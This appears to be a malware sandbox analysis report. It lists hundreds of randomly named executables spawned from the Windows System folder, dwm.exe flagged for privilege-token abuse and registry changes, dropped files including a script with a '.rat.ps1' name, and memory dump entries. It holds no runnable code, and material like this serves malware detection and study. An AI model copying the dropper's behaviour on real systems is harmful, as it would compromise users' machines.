C:\Windows\System\XaRbZZc.exeC:\Windows\System\XaRbZZc.exe2⤵
-
-
C:\Windows\System\wfMZZPg.exeC:\Windows\System\wfMZZPg.exe2⤵
-
-
C:\Windows\System\bFWefIX.exeC:\Windows\System\bFWefIX.exe2⤵
-
-
C:\Windows\System\GnadvAG.exeC:\Windows\System\GnadvAG.exe2⤵
-
-
C:\Windows\System\vAQOsxj.exeC:\Windows\System\vAQOsxj.exe2⤵
-
-
C:\Windows\System\EGZFCZi.exeC:\Windows\System\EGZFCZi.exe2⤵
-
-
C:\Windows\System\HIbZnCo.exeC:\Windows\System\HIbZnCo.exe2⤵
-
-
C:\Windows\System\sXrLBtE.exeC:\Windows\System\sXrLBtE.exe2⤵
-
-
C:\Windows\System\IKjcbVj.exeC:\Windows\System\IKjcbVj.exe2⤵
-
-
C:\Windows\System\nNGqLAm.exeC:\Windows\System\nNGqLAm.exe2⤵
-
-
C:\Windows\System\FOrkWDU.exeC:\Windows\System\FOrkWDU.exe2⤵
-
-
C:\Windows\System\umcLZki.exeC:\Windows\System\umcLZki.exe2⤵
-
-
C:\Windows\System\NYsDTxJ.exeC:\Windows\System\NYsDTxJ.exe2⤵
-
-
C:\Windows\System\SamfnIM.exeC:\Windows\System\SamfnIM.exe2⤵
-
-
C:\Windows\System\XdSABlI.exeC:\Windows\System\XdSABlI.exe2⤵
-
-
C:\Windows\System\JhXikND.exeC:\Windows\System\JhXikND.exe2⤵
-
-
C:\Windows\System\aqgTxEZ.exeC:\Windows\System\aqgTxEZ.exe2⤵
-
-
C:\Windows\System\FEGQEPG.exeC:\Windows\System\FEGQEPG.exe2⤵
-
-
C:\Windows\System\aNUIpqf.exeC:\Windows\System\aNUIpqf.exe2⤵
-
-
C:\Windows\System\QaQKfld.exeC:\Windows\System\QaQKfld.exe2⤵
-
-
C:\Windows\System\sPzQanh.exeC:\Windows\System\sPzQanh.exe2⤵
-
-
C:\Windows\System\YmYZiZu.exeC:\Windows\System\YmYZiZu.exe2⤵
-
-
C:\Windows\System\KQgSCqD.exeC:\Windows\System\KQgSCqD.exe2⤵
-
-
C:\Windows\System\vMMsCpW.exeC:\Windows\System\vMMsCpW.exe2⤵
-
-
C:\Windows\System\xTVweWD.exeC:\Windows\System\xTVweWD.exe2⤵
-
-
C:\Windows\System\fUDxATE.exeC:\Windows\System\fUDxATE.exe2⤵
-
-
C:\Windows\System\jIYsSSB.exeC:\Windows\System\jIYsSSB.exe2⤵
-
-
C:\Windows\System\KFhIfYP.exeC:\Windows\System\KFhIfYP.exe2⤵
-
-
C:\Windows\System\ovRVApL.exeC:\Windows\System\ovRVApL.exe2⤵
-
-
C:\Windows\System\KdzJPnt.exeC:\Windows\System\KdzJPnt.exe2⤵
-
-
C:\Windows\System\AITIHoW.exeC:\Windows\System\AITIHoW.exe2⤵
-
-
C:\Windows\System\QitGejM.exeC:\Windows\System\QitGejM.exe2⤵
-
-
C:\Windows\System\eJaTtlL.exeC:\Windows\System\eJaTtlL.exe2⤵
-
-
C:\Windows\System\mSQryEI.exeC:\Windows\System\mSQryEI.exe2⤵
-
-
C:\Windows\System\DPwbHak.exeC:\Windows\System\DPwbHak.exe2⤵
-
-
C:\Windows\System\ThdqhlS.exeC:\Windows\System\ThdqhlS.exe2⤵
-
-
C:\Windows\System\FzHVXGa.exeC:\Windows\System\FzHVXGa.exe2⤵
-
-
C:\Windows\System\gkoIlCg.exeC:\Windows\System\gkoIlCg.exe2⤵
-
-
C:\Windows\System\ukVXGMP.exeC:\Windows\System\ukVXGMP.exe2⤵
-
-
C:\Windows\System\aztivAf.exeC:\Windows\System\aztivAf.exe2⤵
-
-
C:\Windows\System\wIpzPVf.exeC:\Windows\System\wIpzPVf.exe2⤵
-
-
C:\Windows\System\JwCcNgV.exeC:\Windows\System\JwCcNgV.exe2⤵
-
-
C:\Windows\System\mulckYe.exeC:\Windows\System\mulckYe.exe2⤵
-
-
C:\Windows\System\ElNrYjU.exeC:\Windows\System\ElNrYjU.exe2⤵
-
-
C:\Windows\System\UvqjoAJ.exeC:\Windows\System\UvqjoAJ.exe2⤵
-
-
C:\Windows\System\DKduNDB.exeC:\Windows\System\DKduNDB.exe2⤵
-
-
C:\Windows\System\wVklowa.exeC:\Windows\System\wVklowa.exe2⤵
-
-
C:\Windows\System\BUdRIwY.exeC:\Windows\System\BUdRIwY.exe2⤵
-
-
C:\Windows\System\aNyYXiB.exeC:\Windows\System\aNyYXiB.exe2⤵
-
-
C:\Windows\System\ZsqRwOf.exeC:\Windows\System\ZsqRwOf.exe2⤵
-
-
C:\Windows\System\uORteKt.exeC:\Windows\System\uORteKt.exe2⤵
-
-
C:\Windows\System\COIZkxS.exeC:\Windows\System\COIZkxS.exe2⤵
-
-
C:\Windows\System\kRKTYKi.exeC:\Windows\System\kRKTYKi.exe2⤵
-
-
C:\Windows\System\ZlEFqEE.exeC:\Windows\System\ZlEFqEE.exe2⤵
-
-
C:\Windows\System\YUMPMcK.exeC:\Windows\System\YUMPMcK.exe2⤵
-
-
C:\Windows\System\HyHpPhx.exeC:\Windows\System\HyHpPhx.exe2⤵
-
-
C:\Windows\System\cXiQDgS.exeC:\Windows\System\cXiQDgS.exe2⤵
-
-
C:\Windows\System\NFujAhx.exeC:\Windows\System\NFujAhx.exe2⤵
-
-
C:\Windows\System\IuIMGVm.exeC:\Windows\System\IuIMGVm.exe2⤵
-
-
C:\Windows\System\UWbhPEI.exeC:\Windows\System\UWbhPEI.exe2⤵
-
-
C:\Windows\System\BzHUUOS.exeC:\Windows\System\BzHUUOS.exe2⤵
-
-
C:\Windows\System\soLvoGL.exeC:\Windows\System\soLvoGL.exe2⤵
-
-
C:\Windows\System\WYfNYkJ.exeC:\Windows\System\WYfNYkJ.exe2⤵
-
-
C:\Windows\System\FAaaMmM.exeC:\Windows\System\FAaaMmM.exe2⤵
-
-
C:\Windows\System\zWmOzxc.exeC:\Windows\System\zWmOzxc.exe2⤵
-
-
C:\Windows\System\akGUPix.exeC:\Windows\System\akGUPix.exe2⤵
-
-
C:\Windows\System\xtBTAXC.exeC:\Windows\System\xtBTAXC.exe2⤵
-
-
C:\Windows\System\aurNAGn.exeC:\Windows\System\aurNAGn.exe2⤵
-
-
C:\Windows\System\gYmNtxk.exeC:\Windows\System\gYmNtxk.exe2⤵
-
-
C:\Windows\System\iuOitTX.exeC:\Windows\System\iuOitTX.exe2⤵
-
-
C:\Windows\System\QSOWphC.exeC:\Windows\System\QSOWphC.exe2⤵
-
-
C:\Windows\System\sFntisR.exeC:\Windows\System\sFntisR.exe2⤵
-
-
C:\Windows\System\AKuNqap.exeC:\Windows\System\AKuNqap.exe2⤵
-
-
C:\Windows\System\JkFRcds.exeC:\Windows\System\JkFRcds.exe2⤵
-
-
C:\Windows\System\EVDjlFH.exeC:\Windows\System\EVDjlFH.exe2⤵
-
-
C:\Windows\System\RLJgfhT.exeC:\Windows\System\RLJgfhT.exe2⤵
-
-
C:\Windows\System\liWGhDo.exeC:\Windows\System\liWGhDo.exe2⤵
-
-
C:\Windows\System\LeMJOnl.exeC:\Windows\System\LeMJOnl.exe2⤵
-
-
C:\Windows\System\uKhxKkB.exeC:\Windows\System\uKhxKkB.exe2⤵
-
-
C:\Windows\System\vMSUllK.exeC:\Windows\System\vMSUllK.exe2⤵
-
-
C:\Windows\System\mmCpxdU.exeC:\Windows\System\mmCpxdU.exe2⤵
-
-
C:\Windows\System\NWPHDvd.exeC:\Windows\System\NWPHDvd.exe2⤵
-
-
C:\Windows\System\xQcDxQi.exeC:\Windows\System\xQcDxQi.exe2⤵
-
-
C:\Windows\System\uSesNWb.exeC:\Windows\System\uSesNWb.exe2⤵
-
-
C:\Windows\System\DLnyvnx.exeC:\Windows\System\DLnyvnx.exe2⤵
-
-
C:\Windows\System\GSdwvoJ.exeC:\Windows\System\GSdwvoJ.exe2⤵
-
-
C:\Windows\System\BPAHoPp.exeC:\Windows\System\BPAHoPp.exe2⤵
-
-
C:\Windows\System\hXnKAFR.exeC:\Windows\System\hXnKAFR.exe2⤵
-
-
C:\Windows\System\yBJaRdB.exeC:\Windows\System\yBJaRdB.exe2⤵
-
-
C:\Windows\System\ZsCemGp.exeC:\Windows\System\ZsCemGp.exe2⤵
-
-
C:\Windows\System\xMQTLdX.exeC:\Windows\System\xMQTLdX.exe2⤵
-
-
C:\Windows\System\emYRFqc.exeC:\Windows\System\emYRFqc.exe2⤵
-
-
C:\Windows\System\TxeISID.exeC:\Windows\System\TxeISID.exe2⤵
-
-
C:\Windows\System\AJJHdfu.exeC:\Windows\System\AJJHdfu.exe2⤵
-
-
C:\Windows\System\YEDQPTW.exeC:\Windows\System\YEDQPTW.exe2⤵
-
-
C:\Windows\System\UIRzerf.exeC:\Windows\System\UIRzerf.exe2⤵
-
-
C:\Windows\System\LHJrOEH.exeC:\Windows\System\LHJrOEH.exe2⤵
-
-
C:\Windows\System\vyyXUbr.exeC:\Windows\System\vyyXUbr.exe2⤵
-
-
C:\Windows\System\kbHpoRc.exeC:\Windows\System\kbHpoRc.exe2⤵
-
-
C:\Windows\System\otYHRyy.exeC:\Windows\System\otYHRyy.exe2⤵
-
-
C:\Windows\System\XMzzlQp.exeC:\Windows\System\XMzzlQp.exe2⤵
-
-
C:\Windows\System\UOTNSvU.exeC:\Windows\System\UOTNSvU.exe2⤵
-
-
C:\Windows\System\QypKtQz.exeC:\Windows\System\QypKtQz.exe2⤵
-
-
C:\Windows\System\hhktbvd.exeC:\Windows\System\hhktbvd.exe2⤵
-
-
C:\Windows\System\bQsDzLW.exeC:\Windows\System\bQsDzLW.exe2⤵
-
-
C:\Windows\System\kQvPnOy.exeC:\Windows\System\kQvPnOy.exe2⤵
-
-
C:\Windows\System\eyCDdAM.exeC:\Windows\System\eyCDdAM.exe2⤵
-
-
C:\Windows\System\DOfaHRX.exeC:\Windows\System\DOfaHRX.exe2⤵
-
-
C:\Windows\System\AccImak.exeC:\Windows\System\AccImak.exe2⤵
-
-
C:\Windows\System\odPKxSM.exeC:\Windows\System\odPKxSM.exe2⤵
-
-
C:\Windows\System\dvmuEBP.exeC:\Windows\System\dvmuEBP.exe2⤵
-
-
C:\Windows\System\YgxrKKJ.exeC:\Windows\System\YgxrKKJ.exe2⤵
-
-
C:\Windows\System\rjSXTpb.exeC:\Windows\System\rjSXTpb.exe2⤵
-
-
C:\Windows\System\QlXVfSm.exeC:\Windows\System\QlXVfSm.exe2⤵
-
-
C:\Windows\System\XfkdKod.exeC:\Windows\System\XfkdKod.exe2⤵
-
-
C:\Windows\System\KQWXhMQ.exeC:\Windows\System\KQWXhMQ.exe2⤵
-
-
C:\Windows\System\nRIMfsi.exeC:\Windows\System\nRIMfsi.exe2⤵
-
-
C:\Windows\System\RzjsSVD.exeC:\Windows\System\RzjsSVD.exe2⤵
-
-
C:\Windows\System\Gehivqq.exeC:\Windows\System\Gehivqq.exe2⤵
-
-
C:\Windows\System\YXdItZo.exeC:\Windows\System\YXdItZo.exe2⤵
-
-
C:\Windows\System\JArIfUU.exeC:\Windows\System\JArIfUU.exe2⤵
-
-
C:\Windows\System\sueuAZQ.exeC:\Windows\System\sueuAZQ.exe2⤵
-
-
C:\Windows\System\DjxPNWW.exeC:\Windows\System\DjxPNWW.exe2⤵
-
-
C:\Windows\System\IjKUFvL.exeC:\Windows\System\IjKUFvL.exe2⤵
-
-
C:\Windows\System\PcIwHYj.exeC:\Windows\System\PcIwHYj.exe2⤵
-
-
C:\Windows\System\CUyYTKN.exeC:\Windows\System\CUyYTKN.exe2⤵
-
-
C:\Windows\System\UbBOHeR.exeC:\Windows\System\UbBOHeR.exe2⤵
-
-
C:\Windows\System\SXYyzwW.exeC:\Windows\System\SXYyzwW.exe2⤵
-
-
C:\Windows\System\bSAKTab.exeC:\Windows\System\bSAKTab.exe2⤵
-
-
C:\Windows\System\JoHeZNN.exeC:\Windows\System\JoHeZNN.exe2⤵
-
-
C:\Windows\System\RvPrpiD.exeC:\Windows\System\RvPrpiD.exe2⤵
-
-
C:\Windows\System\CYcvriT.exeC:\Windows\System\CYcvriT.exe2⤵
-
-
C:\Windows\System\nPsSlhJ.exeC:\Windows\System\nPsSlhJ.exe2⤵
-
-
C:\Windows\System\sNTXdbP.exeC:\Windows\System\sNTXdbP.exe2⤵
-
-
C:\Windows\System\SPaLCCU.exeC:\Windows\System\SPaLCCU.exe2⤵
-
-
C:\Windows\System\lWmurrz.exeC:\Windows\System\lWmurrz.exe2⤵
-
-
C:\Windows\System\feqcPdp.exeC:\Windows\System\feqcPdp.exe2⤵
-
-
C:\Windows\System\mEsAoNY.exeC:\Windows\System\mEsAoNY.exe2⤵
-
-
C:\Windows\System\xxKNIuA.exeC:\Windows\System\xxKNIuA.exe2⤵
-
-
C:\Windows\System\UrAVHDo.exeC:\Windows\System\UrAVHDo.exe2⤵
-
-
C:\Windows\System\EekFHoh.exeC:\Windows\System\EekFHoh.exe2⤵
-
-
C:\Windows\System\YVOHiSJ.exeC:\Windows\System\YVOHiSJ.exe2⤵
-
-
C:\Windows\System\RedbyoN.exeC:\Windows\System\RedbyoN.exe2⤵
-
-
C:\Windows\System\HlTZlIK.exeC:\Windows\System\HlTZlIK.exe2⤵
-
-
C:\Windows\System\mFkIwrK.exeC:\Windows\System\mFkIwrK.exe2⤵
-
-
C:\Windows\System\LqvsGuW.exeC:\Windows\System\LqvsGuW.exe2⤵
-
-
C:\Windows\System\uQvcJxW.exeC:\Windows\System\uQvcJxW.exe2⤵
-
-
C:\Windows\System\oOSrMII.exeC:\Windows\System\oOSrMII.exe2⤵
-
-
C:\Windows\System\TUPqkyr.exeC:\Windows\System\TUPqkyr.exe2⤵
-
-
C:\Windows\System\cFCFesQ.exeC:\Windows\System\cFCFesQ.exe2⤵
-
-
C:\Windows\System\wlOtMNq.exeC:\Windows\System\wlOtMNq.exe2⤵
-
-
C:\Windows\System\RDJqGhc.exeC:\Windows\System\RDJqGhc.exe2⤵
-
-
C:\Windows\System\uqTIhZp.exeC:\Windows\System\uqTIhZp.exe2⤵
-
-
C:\Windows\System\hasNZom.exeC:\Windows\System\hasNZom.exe2⤵
-
-
C:\Windows\System\ZKeqQFi.exeC:\Windows\System\ZKeqQFi.exe2⤵
-
-
C:\Windows\System\OnEuAVp.exeC:\Windows\System\OnEuAVp.exe2⤵
-
-
C:\Windows\System\LhSiJSB.exeC:\Windows\System\LhSiJSB.exe2⤵
-
-
C:\Windows\System\xBdFRIi.exeC:\Windows\System\xBdFRIi.exe2⤵
-
-
C:\Windows\System\PkTtBLx.exeC:\Windows\System\PkTtBLx.exe2⤵
-
-
C:\Windows\System\hQgPznQ.exeC:\Windows\System\hQgPznQ.exe2⤵
-
-
C:\Windows\System\BMecqgB.exeC:\Windows\System\BMecqgB.exe2⤵
-
-
C:\Windows\System\RBuHqGi.exeC:\Windows\System\RBuHqGi.exe2⤵
-
-
C:\Windows\System\MIheCvR.exeC:\Windows\System\MIheCvR.exe2⤵
-
-
C:\Windows\System\SNTNzla.exeC:\Windows\System\SNTNzla.exe2⤵
-
-
C:\Windows\System\fPinYVp.exeC:\Windows\System\fPinYVp.exe2⤵
-
-
C:\Windows\System\QnXCOeU.exeC:\Windows\System\QnXCOeU.exe2⤵
-
-
C:\Windows\System\yHOKzet.exeC:\Windows\System\yHOKzet.exe2⤵
-
-
C:\Windows\System\VozcgGw.exeC:\Windows\System\VozcgGw.exe2⤵
-
-
C:\Windows\System\vIpwqDP.exeC:\Windows\System\vIpwqDP.exe2⤵
-
-
C:\Windows\System\mtbcqYo.exeC:\Windows\System\mtbcqYo.exe2⤵
-
-
C:\Windows\System\EXWEmbL.exeC:\Windows\System\EXWEmbL.exe2⤵
-
-
C:\Windows\System\aCTJsUa.exeC:\Windows\System\aCTJsUa.exe2⤵
-
-
C:\Windows\System\VbVwEDd.exeC:\Windows\System\VbVwEDd.exe2⤵
-
-
C:\Windows\System\AoeLCft.exeC:\Windows\System\AoeLCft.exe2⤵
-
-
C:\Windows\System\XNxwzgH.exeC:\Windows\System\XNxwzgH.exe2⤵
-
-
C:\Windows\System\ReMPZsM.exeC:\Windows\System\ReMPZsM.exe2⤵
-
-
C:\Windows\System\ZAzqhSl.exeC:\Windows\System\ZAzqhSl.exe2⤵
-
-
C:\Windows\System\pkysjNb.exeC:\Windows\System\pkysjNb.exe2⤵
-
-
C:\Windows\System\vXDsGJF.exeC:\Windows\System\vXDsGJF.exe2⤵
-
-
C:\Windows\System\OaQKcRI.exeC:\Windows\System\OaQKcRI.exe2⤵
-
-
C:\Windows\System\BkxvKVm.exeC:\Windows\System\BkxvKVm.exe2⤵
-
-
C:\Windows\System\xQbddYl.exeC:\Windows\System\xQbddYl.exe2⤵
-
-
C:\Windows\System\VQXOIxI.exeC:\Windows\System\VQXOIxI.exe2⤵
-
-
C:\Windows\System\IruSfJB.exeC:\Windows\System\IruSfJB.exe2⤵
-
-
C:\Windows\System\tlBNNFG.exeC:\Windows\System\tlBNNFG.exe2⤵
-
-
C:\Windows\System\BkSdFRM.exeC:\Windows\System\BkSdFRM.exe2⤵
-
-
C:\Windows\System\xWWRUkL.exeC:\Windows\System\xWWRUkL.exe2⤵
-
-
C:\Windows\System\UwHUtIW.exeC:\Windows\System\UwHUtIW.exe2⤵
-
-
C:\Windows\System\DXgstOV.exeC:\Windows\System\DXgstOV.exe2⤵
-
-
C:\Windows\System\nEigUgf.exeC:\Windows\System\nEigUgf.exe2⤵
-
-
C:\Windows\System\VoATkRE.exeC:\Windows\System\VoATkRE.exe2⤵
-
-
C:\Windows\System\lQllitt.exeC:\Windows\System\lQllitt.exe2⤵
-
-
C:\Windows\System\bFjviWV.exeC:\Windows\System\bFjviWV.exe2⤵
-
-
C:\Windows\System\WNTGsPV.exeC:\Windows\System\WNTGsPV.exe2⤵
-
-
C:\Windows\System\sTwRqkA.exeC:\Windows\System\sTwRqkA.exe2⤵
-
-
C:\Windows\System\uFWJdrD.exeC:\Windows\System\uFWJdrD.exe2⤵
-
-
C:\Windows\System\PPFCPwo.exeC:\Windows\System\PPFCPwo.exe2⤵
-
-
C:\Windows\System\GsOEccu.exeC:\Windows\System\GsOEccu.exe2⤵
-
-
C:\Windows\System\EcsBUNk.exeC:\Windows\System\EcsBUNk.exe2⤵
-
-
C:\Windows\System\BnoOQqj.exeC:\Windows\System\BnoOQqj.exe2⤵
-
-
C:\Windows\System\zCrzvBF.exeC:\Windows\System\zCrzvBF.exe2⤵
-
-
C:\Windows\System\YKdtJdI.exeC:\Windows\System\YKdtJdI.exe2⤵
-
-
C:\Windows\System\vgkRrbN.exeC:\Windows\System\vgkRrbN.exe2⤵
-
-
C:\Windows\System\bnEfpvQ.exeC:\Windows\System\bnEfpvQ.exe2⤵
-
-
C:\Windows\System\YLAOJRm.exeC:\Windows\System\YLAOJRm.exe2⤵
-
-
C:\Windows\System\NgKqNsc.exeC:\Windows\System\NgKqNsc.exe2⤵
-
-
C:\Windows\System\tFGhHtt.exeC:\Windows\System\tFGhHtt.exe2⤵
-
-
C:\Windows\System\uDwEmET.exeC:\Windows\System\uDwEmET.exe2⤵
-
-
C:\Windows\System\GsAYlPn.exeC:\Windows\System\GsAYlPn.exe2⤵
-
-
C:\Windows\System\nHWcSib.exeC:\Windows\System\nHWcSib.exe2⤵
-
-
C:\Windows\System\AiCEdfW.exeC:\Windows\System\AiCEdfW.exe2⤵
-
-
C:\Windows\System\derOmAc.exeC:\Windows\System\derOmAc.exe2⤵
-
-
C:\Windows\System\FYuIdJm.exeC:\Windows\System\FYuIdJm.exe2⤵
-
-
C:\Windows\System\nElRzSW.exeC:\Windows\System\nElRzSW.exe2⤵
-
-
C:\Windows\System\jTxXSZS.exeC:\Windows\System\jTxXSZS.exe2⤵
-
-
C:\Windows\System\ciZJUhx.exeC:\Windows\System\ciZJUhx.exe2⤵
-
-
C:\Windows\System\zehPEDU.exeC:\Windows\System\zehPEDU.exe2⤵
-
-
C:\Windows\System\TFVSnxF.exeC:\Windows\System\TFVSnxF.exe2⤵
-
-
C:\Windows\System\fSQrBXt.exeC:\Windows\System\fSQrBXt.exe2⤵
-
-
C:\Windows\System\yoxEhuV.exeC:\Windows\System\yoxEhuV.exe2⤵
-
-
C:\Windows\System\andOgQY.exeC:\Windows\System\andOgQY.exe2⤵
-
-
C:\Windows\System\ngScvfJ.exeC:\Windows\System\ngScvfJ.exe2⤵
-
-
C:\Windows\System\HkZnlOI.exeC:\Windows\System\HkZnlOI.exe2⤵
-
-
C:\Windows\System\tCXVYuZ.exeC:\Windows\System\tCXVYuZ.exe2⤵
-
-
C:\Windows\System\vNMdHzn.exeC:\Windows\System\vNMdHzn.exe2⤵
-
-
C:\Windows\System\yJmINIT.exeC:\Windows\System\yJmINIT.exe2⤵
-
-
C:\Windows\System\puaSrRT.exeC:\Windows\System\puaSrRT.exe2⤵
-
-
C:\Windows\System\UthHQZF.exeC:\Windows\System\UthHQZF.exe2⤵
-
-
C:\Windows\System\tItiYem.exeC:\Windows\System\tItiYem.exe2⤵
-
-
C:\Windows\System\oogsMuS.exeC:\Windows\System\oogsMuS.exe2⤵
-
-
C:\Windows\System\sscSeav.exeC:\Windows\System\sscSeav.exe2⤵
-
-
C:\Windows\System\gtQgxwc.exeC:\Windows\System\gtQgxwc.exe2⤵
-
-
C:\Windows\System\mEWdqsh.exeC:\Windows\System\mEWdqsh.exe2⤵
-
-
C:\Windows\System\VUmNpuX.exeC:\Windows\System\VUmNpuX.exe2⤵
-
-
C:\Windows\System\kGicHqT.exeC:\Windows\System\kGicHqT.exe2⤵
-
-
C:\Windows\System\WKjNmkH.exeC:\Windows\System\WKjNmkH.exe2⤵
-
-
C:\Windows\System\MTNSGUQ.exeC:\Windows\System\MTNSGUQ.exe2⤵
-
-
C:\Windows\System\JTaEKRS.exeC:\Windows\System\JTaEKRS.exe2⤵
-
-
C:\Windows\System\UzBizMO.exeC:\Windows\System\UzBizMO.exe2⤵
-
-
C:\Windows\System\ZlKeodk.exeC:\Windows\System\ZlKeodk.exe2⤵
-
-
C:\Windows\System\bZVvhVi.exeC:\Windows\System\bZVvhVi.exe2⤵
-
-
C:\Windows\System\IoNZGIV.exeC:\Windows\System\IoNZGIV.exe2⤵
-
-
C:\Windows\System\FUExTeS.exeC:\Windows\System\FUExTeS.exe2⤵
-
-
C:\Windows\System\SfvaNsE.exeC:\Windows\System\SfvaNsE.exe2⤵
-
-
C:\Windows\System\EItdlCz.exeC:\Windows\System\EItdlCz.exe2⤵
-
-
C:\Windows\System\FplydNy.exeC:\Windows\System\FplydNy.exe2⤵
-
-
C:\Windows\System\QOPTbeG.exeC:\Windows\System\QOPTbeG.exe2⤵
-
-
C:\Windows\System\xsGfhMu.exeC:\Windows\System\xsGfhMu.exe2⤵
-
-
C:\Windows\System\mGQbBjb.exeC:\Windows\System\mGQbBjb.exe2⤵
-
-
C:\Windows\System\IoteVIN.exeC:\Windows\System\IoteVIN.exe2⤵
-
-
C:\Windows\System\oKZVEEB.exeC:\Windows\System\oKZVEEB.exe2⤵
-
-
C:\Windows\System\IxcMcSz.exeC:\Windows\System\IxcMcSz.exe2⤵
-
-
C:\Windows\System\VEuOYoY.exeC:\Windows\System\VEuOYoY.exe2⤵
-
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_2kjoxbae.rat.ps1
AifdZIA.exe
AnRojAF.exe
BdiDDfc.exe
DyLhydu.exe
FaEYVdk.exe
FpPckwJ.exe
HIywzbW.exe
HLPQGxd.exe
HctzCSl.exe
IBLTJez.exe
JMSMxoL.exe
JZODxEq.exe
NNbsUrP.exe
PtwPadv.exe
QRjQrsL.exe
RNQkysP.exe
UWkqYpV.exe
VzGEtkx.exe
WWSAyHK.exe
WYlTmnL.exe
eHqOllR.exe
gvEKGLK.exe
hoBruvw.exe
iazcQNT.exe
mviSPqq.exe
onrocAn.exe
orNSrTn.exe
rwAHoFT.exe
tlcbUwK.exe
wQBThZm.exe
wTrRVTM.exe
xYdYLlv.exe
xywEwEW.exe
zjoHCcq.exe
memory/624-184-0x00007FF780DE0000-0x00007FF7811D6000-memory.dmp
memory/624-2476-0x00007FF780DE0000-0x00007FF7811D6000-memory.dmp
memory/868-183-0x00007FF63E750000-0x00007FF63EB46000-memory.dmp
memory/868-2474-0x00007FF63E750000-0x00007FF63EB46000-memory.dmp
memory/1064-2462-0x00007FF66A9C0000-0x00007FF66ADB6000-memory.dmp
memory/1064-157-0x00007FF66A9C0000-0x00007FF66ADB6000-memory.dmp
memory/1268-171-0x00007FF714530000-0x00007FF714926000-memory.dmp
memory/1268-2472-0x00007FF714530000-0x00007FF714926000-memory.dmp
memory/1288-2470-0x00007FF71DDD0000-0x00007FF71E1C6000-memory.dmp
memory/1288-176-0x00007FF71DDD0000-0x00007FF71E1C6000-memory.dmp
memory/1820-2457-0x00007FF64FE80000-0x00007FF650276000-memory.dmp
memory/1820-181-0x00007FF64FE80000-0x00007FF650276000-memory.dmp
memory/2012-160-0x00007FF64D1B0000-0x00007FF64D5A6000-memory.dmp
memory/2012-2465-0x00007FF64D1B0000-0x00007FF64D5A6000-memory.dmp
memory/2064-170-0x00007FF60B530000-0x00007FF60B926000-memory.dmp
memory/2064-2463-0x00007FF60B530000-0x00007FF60B926000-memory.dmp
memory/2092-180-0x00007FF689520000-0x00007FF689916000-memory.dmp
memory/2092-2480-0x00007FF689520000-0x00007FF689916000-memory.dmp
memory/2416-138-0x0000022C39020000-0x0000022C39042000-memory.dmp
memory/2416-2455-0x00007FF9F65B0000-0x00007FF9F7071000-memory.dmp
memory/2416-2456-0x00007FF9F65B3000-0x00007FF9F65B5000-memory.dmp
memory/2416-232-0x0000022C39B40000-0x0000022C3A2E6000-memory.dmp
memory/2416-26-0x00007FF9F65B0000-0x00007FF9F7071000-memory.dmp
memory/2416-5-0x00007FF9F65B3000-0x00007FF9F65B5000-memory.dmp
memory/2416-90-0x00007FF9F65B0000-0x00007FF9F7071000-memory.dmp
memory/2772-106-0x00007FF748540000-0x00007FF748936000-memory.dmp
memory/2772-2460-0x00007FF748540000-0x00007FF748936000-memory.dmp
memory/2792-156-0x00007FF639C10000-0x00007FF63A006000-memory.dmp
memory/2792-2461-0x00007FF639C10000-0x00007FF63A006000-memory.dmp
memory/2836-169-0x00007FF6F1260000-0x00007FF6F1656000-memory.dmp
memory/2836-2468-0x00007FF6F1260000-0x00007FF6F1656000-memory.dmp
memory/3600-0-0x00007FF76D610000-0x00007FF76DA06000-memory.dmp
memory/3600-1-0x000001944BD90000-0x000001944BDA0000-memory.dmp
memory/3780-2477-0x00007FF7A9CA0000-0x00007FF7AA096000-memory.dmp
memory/3780-177-0x00007FF7A9CA0000-0x00007FF7AA096000-memory.dmp
memory/3920-174-0x00007FF785350000-0x00007FF785746000-memory.dmp
memory/3920-2467-0x00007FF785350000-0x00007FF785746000-memory.dmp
memory/3980-178-0x00007FF75F1C0000-0x00007FF75F5B6000-memory.dmp
memory/3980-2478-0x00007FF75F1C0000-0x00007FF75F5B6000-memory.dmp
memory/4124-182-0x00007FF719470000-0x00007FF719866000-memory.dmp
memory/4124-2466-0x00007FF719470000-0x00007FF719866000-memory.dmp
memory/4280-179-0x00007FF6F2400000-0x00007FF6F27F6000-memory.dmp
memory/4280-2479-0x00007FF6F2400000-0x00007FF6F27F6000-memory.dmp
memory/4468-2469-0x00007FF7B4A90000-0x00007FF7B4E86000-memory.dmp
memory/4468-173-0x00007FF7B4A90000-0x00007FF7B4E86000-memory.dmp
memory/4496-2464-0x00007FF783F90000-0x00007FF784386000-memory.dmp
memory/4496-168-0x00007FF783F90000-0x00007FF784386000-memory.dmp
memory/4508-144-0x00007FF730030000-0x00007FF730426000-memory.dmp
memory/4508-2459-0x00007FF730030000-0x00007FF730426000-memory.dmp
memory/4512-175-0x00007FF766E80000-0x00007FF767276000-memory.dmp
memory/4512-2475-0x00007FF766E80000-0x00007FF767276000-memory.dmp
memory/4764-129-0x00007FF70CD70000-0x00007FF70D166000-memory.dmp
memory/4764-2458-0x00007FF70CD70000-0x00007FF70D166000-memory.dmp
memory/4784-167-0x00007FF716FC0000-0x00007FF7173B6000-memory.dmp
memory/4784-2471-0x00007FF716FC0000-0x00007FF7173B6000-memory.dmp
memory/5024-2473-0x00007FF767850000-0x00007FF767C46000-memory.dmp
memory/5024-172-0x00007FF767850000-0x00007FF767C46000-memory.dmp